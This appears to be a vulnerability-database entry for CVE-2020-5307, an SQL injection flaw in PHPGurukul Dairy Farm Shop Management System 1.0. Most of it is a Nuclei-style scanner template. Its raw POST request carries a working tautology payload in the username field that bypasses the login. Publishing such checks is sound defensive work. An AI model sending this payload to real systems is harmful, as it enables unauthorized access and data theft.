CVE-2020-5307: PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection

日期: 2025-08-01 | 影响软件: PHPGurukul Dairy Farm Shop Management System 1.0 | POC: 已公开

漏洞描述

PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.

PoC代码[已公开]

id: CVE-2020-5307

info:
  name: PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection
  author: gy741
  severity: critical
  description: PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the PHPGurukul Dairy Farm Shop Management System 1.0.
  reference:
    - https://cinzinga.com/CVE-2020-5307-5308/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5307
    - https://www.exploit-db.com/exploits/47846
    - https://cinzinga.github.io/CVE-2020-5307-5308/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5307
    cwe-id: CWE-89
    epss-score: 0.80522
    epss-percentile: 0.99098
    cpe: cpe:2.3:a:phpgurukul:dairy_farm_shop_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpgurukul
    product: dairy_farm_shop_management_system
  tags: cve,cve2020,sqli,edb,phpgurukul

http:
  - raw:
      - |
        POST /dfsms/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin%27+or+%271%27+%3D+%271%27%3B+--+-&password=A&login=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "add-category.php"

      - type: status
        status:
          - 302
# digest: 4a0a00473045022100aa6d56f74739745114738a951b689f197ab55442da6e81695ce503f5a269fdce0220264ce1e5b57b35f70389fdac24f01cd14393be2c5d3490a3b02aa54b75d2ca5d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐